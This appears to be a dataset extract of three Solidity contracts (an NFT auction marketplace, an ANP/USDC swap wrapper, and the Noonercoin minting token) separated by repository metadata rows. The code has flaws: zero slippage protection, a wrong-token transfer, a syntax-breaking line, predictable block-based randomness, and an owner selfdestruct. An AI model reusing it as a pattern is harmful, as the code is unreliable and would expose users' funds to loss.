contract Ownable {
address public owner;
mapping(address => bool) admins;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdmin(address indexed admin);
event DelAdmin(address indexed admin);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function addAdmin(address _adminAddress) external onlyOwner {
require(_adminAddress != address(0));
admins[_adminAddress] = true;
emit AddAdmin(_adminAddress);
}
function delAdmin(address _adminAddress) external onlyOwner {
require(admins[_adminAddress]);
admins[_adminAddress] = false;
emit DelAdmin(_adminAddress);
}
function isAdmin(address _adminAddress) public view returns (bool) {
return admins[_adminAddress];
}
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface NewAuctionContract {
function receiveAuction(address _token, uint _tokenId, uint _startPrice, uint _stopTime) external returns (bool);
}
contract ArconaMarketplaceContract is Ownable {
using SafeMath for uint;
ERC20 public arconaToken;
struct Auction {
address owner;
address token;
uint tokenId;
uint startPrice;
uint stopTime;
address winner;
uint executeTime;
uint finalPrice;
bool executed;
bool exists;
}
mapping(address => bool) public acceptedTokens;
mapping(address => bool) public whiteList;
mapping (address => bool) public users;
mapping(uint256 => Auction) public auctions;
//token => token_id = auction id
mapping (address => mapping (uint => uint)) public auctionIndex;
mapping(address => uint256[]) private ownedAuctions;
uint private lastAuctionId;
uint defaultExecuteTime = 24 hours;
uint public auctionFee = 300; //3%
uint public gasInTokens = 1000000000000000000;
uint public minDuration = 1;
uint public maxDuration = 20160;
address public profitAddress;
event ReceiveCreateAuction(address from, uint tokenId, address token);
event AddAcceptedToken(address indexed token);
event DelAcceptedToken(address indexed token);
event AddWhiteList(address indexed addr);
event DelWhiteList(address indexed addr);
event NewAuction(address indexed owner, uint tokenId, uint auctionId);
event AddUser(address indexed user);
event GetToken(uint auctionId, address winner);
event SetWinner(address winner, uint auctionId, uint finalPrice, uint executeTime);
event CancelAuction(uint auctionId);
event RestartAuction(uint auctionId);
constructor(address _token, address _profitAddress) public {
arconaToken = ERC20(_token);
profitAddress = _profitAddress;
}
function() public payable {
if (!users[msg.sender]) {
users[msg.sender] = true;
emit AddUser(msg.sender);
}
}
function receiveCreateAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) public returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(_from, _token, _tokenId, _startPrice, _duration);
emit ReceiveCreateAuction(_from, _tokenId, _token);
return true;
}
function createAuction(address _token, uint _tokenId, uint _startPrice, uint _duration) external returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(msg.sender, _token, _tokenId, _startPrice, _duration);
return true;
}
function _createAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) internal returns (uint) {
require(ERC721Interface(_token).transferFrom(_from, this, _tokenId));
auctions[++lastAuctionId] = Auction({
owner : _from,
token : _token,
tokenId : _tokenId,
startPrice : _startPrice,
//startTime : now,
stopTime : now + (_duration * 1 minutes),
winner : address(0),
executeTime : now + (_duration * 1 minutes) + defaultExecuteTime,
finalPrice : 0,
executed : false,
exists: true
});
auctionIndex[_token][_tokenId] = lastAuctionId;
ownedAuctions[_from].push(lastAuctionId);
emit NewAuction(_from, _tokenId, lastAuctionId);
return lastAuctionId;
}
function setWinner(address _winner, uint _auctionId, uint _finalPrice, uint _executeTime) onlyAdmin external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now > auctions[_auctionId].stopTime);
//require(auctions[_auctionId].winner == address(0));
require(_finalPrice >= auctions[_auctionId].startPrice);
auctions[_auctionId].winner = _winner;
auctions[_auctionId].finalPrice = _finalPrice;
if (_executeTime > 0) {
auctions[_auctionId].executeTime = now + (_executeTime * 1 minutes);
}
emit SetWinner(_winner, _auctionId, _finalPrice, _executeTime);
}
function getToken(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now <= auctions[_auctionId].executeTime);
require(msg.sender == auctions[_auctionId].winner);
uint fullPrice = auctions[_auctionId].finalPrice;
require(arconaToken.transferFrom(msg.sender, this, fullPrice));
if (!inWhiteList(auctions[_auctionId].owner)) {
uint fee = valueFromPercent(fullPrice, auctionFee);
fullPrice = fullPrice.sub(fee).sub(gasInTokens);
}
arconaToken.transfer(auctions[_auctionId].owner, fullPrice);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].winner, auctions[_auctionId].tokenId));
auctions[_auctionId].executed = true;
emit GetToken(_auctionId, msg.sender);
}
function cancelAuction(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].owner, auctions[_auctionId].tokenId));
emit CancelAuction(_auctionId);
}
function restartAuction(uint _auctionId, uint _startPrice, uint _duration) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
auctions[_auctionId].startPrice = _startPrice;
auctions[_auctionId].stopTime = now + (_duration * 1 minutes);
auctions[_auctionId].executeTime = now + (_duration * 1 minutes) + defaultExecuteTime;
emit RestartAuction(_auctionId);
}
function migrateAuction(uint _auctionId, address _newAuction) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).approve(_newAuction, auctions[_auctionId].tokenId));
require(NewAuctionContract(_newAuction).receiveAuction(auctions[_auctionId].token,
auctions[_auctionId].tokenId,
auctions[_auctionId].startPrice,
auctions[_auctionId].stopTime));
}
function ownerAuctionCount(address _owner) external view returns (uint256) {
return ownedAuctions[_owner].length;
}
function auctionsOf(address _owner) external view returns (uint256[]) {
return ownedAuctions[_owner];
}
function addAcceptedToken(address _token) onlyAdmin external {
require(_token != address(0));
acceptedTokens[_token] = true;
emit AddAcceptedToken(_token);
}
function delAcceptedToken(address _token) onlyAdmin external {
require(acceptedTokens[_token]);
acceptedTokens[_token] = false;
emit DelAcceptedToken(_token);
}
function addWhiteList(address _address) onlyAdmin external {
require(_address != address(0));
whiteList[_address] = true;
emit AddWhiteList(_address);
}
function delWhiteList(address _address) onlyAdmin external {
require(whiteList[_address]);
whiteList[_address] = false;
emit DelWhiteList(_address);
}
function setDefaultExecuteTime(uint _hours) onlyAdmin external {
defaultExecuteTime = _hours * 1 hours;
}
function setAuctionFee(uint _fee) onlyAdmin external {
auctionFee = _fee;
}
function setGasInTokens(uint _gasInTokens) onlyAdmin external {
gasInTokens = _gasInTokens;
}
function setMinDuration(uint _minDuration) onlyAdmin external {
minDuration = _minDuration;
}
function setMaxDuration(uint _maxDuration) onlyAdmin external {
maxDuration = _maxDuration;
}
function setProfitAddress(address _profitAddress) onlyOwner external {
require(_profitAddress != address(0));
profitAddress = _profitAddress;
}
function isAcceptedToken(address _token) public view returns (bool) {
return acceptedTokens[_token];
}
function inWhiteList(address _address) public view returns (bool) {
return whiteList[_address];
}
function withdrawTokens() onlyAdmin public {
require(arconaToken.balanceOf(this) > 0);
arconaToken.transfer(profitAddress, arconaToken.balanceOf(this));
}
//1% - 100, 10% - 1000 50% - 5000
function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(10000);
return (_amount);
}
function destruct() onlyOwner public {
selfdestruct(owner);
}
}
| 134,196 | 11,143 |
2da10ee63d79e00a433f7796dcdc3c94205c16292c6e007b6900cb60cd802604
| 12,901 |
.sol
|
Solidity
| false |
549281330
|
AtosDev/Token-Swap-Staking-Farming
|
41dc8d345ebfa51058435a3fa95201519ba7c3d5
|
contracts/Swap.sol
| 2,779 | 11,726 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address to, uint256 value) external ;
function burn(address to, uint256 value) external ;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IPancakeSwapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeSwapRouter{
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IPancakeSwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ANPSwapContract is Ownable {
IPancakeSwapRouter public router;
IPancakeSwapPair public pairContract;
address public pair;
address public ANP = 0xc2c96559F0d80986fE72DAE4b79AcaE8E3fEBbF7;
address public USDC = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;
IERC20 _usdcContract;
IERC20 _anpContract;
constructor() {
_usdcContract = IERC20(USDC);
_anpContract = IERC20(ANP);
router = IPancakeSwapRouter(0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32); // polygon mainnet
pair = IPancakeSwapFactory(router.factory()).getPair(ANP, USDC);
if (pair == address(0)) {
pair = IPancakeSwapFactory(router.factory()).createPair(ANP, // ANP on testnet without balance
USDC // usdc on testnet without balance);
}
}
function buyANP(uint256 amount) public {
require(amount > 0, "zero");
_usdcContract.transferFrom(msg.sender, address(this), amount);
address[] memory path = new address[](2);
path[0] = ANP;
path[1] = USDC;
uint256[] memory _anpAmount = new uint256[](2);
_anpContract.approve(address(router), amount);
_usdcContract.approve(address(router), amount);
_anpAmount = router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp);
_anpContract.transfer(msg.sender, _anpAmount[0]);
}
function sellSTB(uint256 amount) public {
require(amount > 0, "zero");
_usdcContract.transferFrom(msg.sender, address(this), amount);
address[] memory path = new address[](2);
path[0] = USDC;
path[1] = ANP;
uint256[] memory _usdcAmount = new uint256[](2);
_anpContract.approve(address(router), amount);
_usdcContract.approve(address(router), amount);
_usdcAmount = router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp);
_anpContract.transfer(msg.sender, _usdcAmount[0]);
}
}
| 282,016 | 11,144 |
288929120af858a7d5b3608d40f563ec8ab1c95c04dfc3455335115df44d70bf
| 18,683 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/92/9230d76034D36108A6D20C197e5F9eF0a092A387_Noonercoin.sol
| 4,704 | 17,629 |
pragma solidity ^0.5.0;
contract ERC20 {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
}
contract Noonercoin is ERC20{
uint256 startTime;
uint256 mintingRateNoonerCoin;
uint256 mintingRateNoonerWei;
uint256 lastMintingTime;
address adminAddress;
bool isNewCycleStart = false;
uint8[] __randomVariable = [150, 175, 200, 225, 250];
uint8[] __remainingRandomVariable = [150, 175, 200, 225, 250];
uint8[] tempRemainingRandomVariable;
mapping (uint256 => uint256) occurenceOfRandomNumber;
uint256 weekStartTime = now;
mapping (address => uint256) noonercoin;
mapping (address => uint256) noonerwei;
uint256 totalWeiBurned = 0;
uint256 totalCycleLeft = 19;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
uint256 private _frequency;
uint256 private _cycleTime = 86400; //given one day sec
uint256 private _fundersAmount;
uint256 _randomValue;
uint256 randomNumber;
int private count = 0;
constructor(uint256 totalSupply_, string memory tokenName_, string memory tokenSymbol_,uint256 decimal_, uint256 mintingRateNoonerCoin_, uint256 frequency_, uint256 fundersAmount_) public ERC20("XDC","XDC"){
_totalSupply = totalSupply_;
_name = tokenName_;
_symbol = tokenSymbol_;
_decimal = decimal_;
mintingRateNoonerCoin = mintingRateNoonerCoin_;
_frequency = frequency_;
adminAddress = msg.sender;
_fundersAmount = fundersAmount_;
mintingRateNoonerWei = 0;
startTime = now;
noonercoin[adminAddress] = _fundersAmount;
}
function incrementCounter() public {
count += 1;
}
function _transfer(address recipient, uint256 amount) public {
address sender = msg.sender;
uint256 senderBalance = noonercoin[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
noonercoin[sender] = senderBalance - amount;
noonercoin[recipient] += amount;
}
function balanceOf(address account) public view returns (uint256) {
return noonercoin[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getStartTime() public view returns(uint256){
return startTime;
}
function mintToken(address add) public returns (bool) { //admin only
require(msg.sender == adminAddress, "Only owner can do this");
uint256 weiAfterMint = noonerwei[add] + mintingRateNoonerWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
uint256 nowTime = now;
if(nowTime-weekStartTime > 720){ // 720 secs = 12 min // 3600
popRandomVariable();
weekStartTime=now;//given now
}
//burn the tokens before minting
if(isNewCycleStart){
uint256 randomValue = randomVariablePicker();
if(randomValue != 150){
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
noonercoin[add] = noonercoin[add] + mintingRateNoonerCoin + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
lastMintingTime = now;
uint256 timeDiff = now - startTime; //unixtime - startTime = secs
uint256 fromTime = _cycleTime - _frequency; //72576000 // 86400 - 120 = 86280
if(timeDiff > fromTime){ //120weeks - 120seconds
if(timeDiff < _cycleTime){
_randomValue = randomVariablePicker();
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
//fetch random number from outside
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
}
}
return true;
}
function popRandomVariable() public returns(bool){
randomNumber = randomVariablePicker();
if(occurenceOfRandomNumber[randomNumber]>=24){
//remove variable
uint256 _index;
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
// for(uint256 index=0;index<__remainingRandomVariable.length-1;index++){
// tempRemainingRandomVariable[index]= __remainingRandomVariable[index];
// }
// __remainingRandomVariable = tempRemainingRandomVariable;
}
if(occurenceOfRandomNumber[randomNumber]<24){
occurenceOfRandomNumber[randomNumber] = occurenceOfRandomNumber[randomNumber]+1;
}
//2nd time calling randomNumber from randomVariablePicker
randomNumber = randomVariablePicker();
//2nd time occurenceOfRandomNumber >= 24
if(occurenceOfRandomNumber[randomNumber] >= 24) {
if(count < 4) {
incrementCounter();
uint256 _index;
//remove variable
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
}
return true;
}
function burnToken() internal returns(bool){
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
uint256 signmaValueCoin = 0;
uint256 signmaValueWei = 0;
for(uint256 index=1;index<=totalCycleLeft;index++){
uint256 intValue = getIntegerValue(flag * 720, 150**index, index);//720
uint256 intDecimalValue = getDecimalValue(flag * 720, 150**index, index);//720
signmaValueCoin = signmaValueCoin + intValue;
signmaValueWei = signmaValueWei + intDecimalValue;
}
signmaValueWei = signmaValueWei + signmaValueCoin * 10**18;
uint256 iterationsInOneCycle = _cycleTime/_frequency;//720
uint256 currentMintingRateTotalTokens = iterationsInOneCycle * mintingRateNoonerCoin * 10**18 + iterationsInOneCycle*mintingRateNoonerWei;
uint256 totalMintedTokens = (noonercoin[adminAddress]-_fundersAmount)*10**18 + noonerwei[adminAddress] + totalWeiBurned;
uint256 weiToBurned = _totalSupply*10**18 - signmaValueWei - totalMintedTokens - currentMintingRateTotalTokens - totalWeiBurned;
uint256 totalWeiInAdminAcc = (noonercoin[adminAddress]-_fundersAmount) * 10**18 + noonerwei[adminAddress];
if(totalWeiInAdminAcc <= weiToBurned) {//<=
return false;
}
if(totalWeiInAdminAcc > weiToBurned) {
uint256 remainingWei = totalWeiInAdminAcc - weiToBurned;
noonercoin[adminAddress] = remainingWei/10**18;
noonerwei[adminAddress] = remainingWei - (noonercoin[adminAddress] - _fundersAmount) * 10**18;
totalWeiBurned = totalWeiBurned + weiToBurned;
return true;
}
}
function getUserBalance(address add) public view returns (uint256){
return noonercoin[add];
}
function getAfterDecimalValue(address add) internal view returns (uint256){
return noonerwei[add];
}
function getIntegerValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 q){
//b is already multiplied by 100
q = a*100**expoHundred/b;
q=q/10**18;
return q;
}
function getDecimalValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 p){
//b is already multiplied by 100
uint256 q = a*100**expoHundred/b;
q=q/10**18;
uint256 r = (a*100**expoHundred) - (b*10**18) * q;
p = r/b;
return p;
}
function randomVariablePicker() internal view returns (uint256) {
uint256 getRandomNumber = __remainingRandomVariable[
uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender))) % __remainingRandomVariable.length];
return getRandomNumber;
}
//for error handing in scheduler
function mintTokenAsPerCurrentRate(address add, uint256 missedToken, uint256 missedWei) public returns (bool) {
require(msg.sender == adminAddress, "Only owner can do this");
uint256 randomValue = randomVariablePicker();
if(randomValue != 150){
if(isNewCycleStart){
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
uint256 weiAfterMint = noonerwei[add] + missedWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
noonercoin[add] = noonercoin[add] + missedToken + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
return true;
}
function changeConfigVariable() public returns (bool){
require(msg.sender == adminAddress, "Only owner can do this");
uint256 randomValue = randomVariablePicker();
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
return true;
}
function getLastMintingTime() public view returns (uint256){
// require(msg.sender != adminAddress);
return lastMintingTime;
}
function getLastMintingRate() public view returns (uint256){
return mintingRateNoonerCoin;
}
function getLastMintingTimeAndStartTimeDifference() public view returns (uint256) {
uint256 lastMintingTimeAndStartTimeDifference = lastMintingTime - startTime;
return lastMintingTimeAndStartTimeDifference;
}
function getCurrentTimeAndStartTimeDifference() public view returns (uint256) {
uint256 currentTimeAndStartTimeDifference = now - startTime;
return currentTimeAndStartTimeDifference;
}
function checkFailedTransactions(address add) public view returns (uint256) {
uint256 adminBalance = noonercoin[add]; //admin balance
uint256 currMintingRate = getLastMintingRate();
uint256 timeDifference = lastMintingTime - startTime;
uint256 valueForEach = timeDifference/_frequency;
uint256 estimatedMintedToken = _fundersAmount + valueForEach * currMintingRate;
uint256 checkDifference;
if(adminBalance > estimatedMintedToken) {
checkDifference = 0;
}
else {
checkDifference = estimatedMintedToken - adminBalance;
}
uint256 missedTokens = checkDifference / mintingRateNoonerCoin;
return missedTokens;
}
function checkMissingTokens(address add) public view returns (uint256, uint256) {
uint256 adminBalance = noonercoin[add]; //admin bal
uint256 adminBalanceinWei = noonerwei[add]; //admin bal wei
if (lastMintingTime == 0) {
return (0,0);
}
if (lastMintingTime != 0) {
uint256 timeDifference = lastMintingTime - startTime;
uint256 valueForEach = timeDifference/_frequency;
uint256 estimatedMintedToken = _fundersAmount + valueForEach * mintingRateNoonerCoin;
uint256 estimatedMintedTokenWei = valueForEach * mintingRateNoonerWei;//
uint256 temp = estimatedMintedTokenWei / 10**18;
estimatedMintedToken += temp;
// estimatedMintedTokenWei -= temp;
// uint256 checkDifferenceWei;
// if(adminBalanceinWei > estimatedMintedTokenWei) {
// checkDifferenceWei = 0;
// }
// else {
// checkDifferenceWei = estimatedMintedTokenWei - adminBalanceinWei;
// }
uint256 weiVariance = 0;
uint256 checkDifference;
if (adminBalance > estimatedMintedToken) {
checkDifference = 0;
}
else{
checkDifference = estimatedMintedToken - adminBalance;
if(weiVariance == adminBalanceinWei) {
weiVariance = 0;
}
else {
weiVariance = estimatedMintedTokenWei - (temp * 10**18);
}
}
return (checkDifference, weiVariance);
}
}
function currentMintRate() public view returns (uint256){
uint256 currMintingRate = getLastMintingRate();
return currMintingRate;
}
function currentDenominatorAndRemainingRandomVariables() public view returns(uint256, uint8[] memory) {
return (_randomValue, __remainingRandomVariable);
}
function getOccurenceOfRandomNumber() public view returns(uint256, uint256, uint256, uint256, uint256, uint256){
return (randomNumber, occurenceOfRandomNumber[__randomVariable[0]],occurenceOfRandomNumber[__randomVariable[1]],occurenceOfRandomNumber[__randomVariable[2]],occurenceOfRandomNumber[__randomVariable[3]], occurenceOfRandomNumber[__randomVariable[4]]);
}
function getOccurenceOfPreferredRandomNumber(uint256 number) public view returns(uint256){
return occurenceOfRandomNumber[number];
}
function getTotalPresentOcuurences() public view returns(uint256){
uint256 total = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
return total;
}
function checkMissingPops() public view returns(uint256){
uint256 totalPresentOcurrences = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
if (lastMintingTime == 0) {
return (0);
}
if(lastMintingTime != 0) {
uint256 differenceOfLastMintTimeAndStartTime = lastMintingTime - startTime; //secs
uint256 timeDifference;
if(differenceOfLastMintTimeAndStartTime < _frequency) {
timeDifference = 0;
}
else {
timeDifference = differenceOfLastMintTimeAndStartTime - _frequency;
}
uint256 checkDifferencePop;
uint256 estimatedPicks = timeDifference / 720;
if(totalPresentOcurrences > estimatedPicks) {
checkDifferencePop = 0;
}else {
checkDifferencePop = estimatedPicks - totalPresentOcurrences;
}
return checkDifferencePop;
}
}
}
| 130,669 | 11,145 |
a25e0e5e52dd5c02e062a3398814f708da6d29cb9223fc3fdb1fa22a1aef7ddd
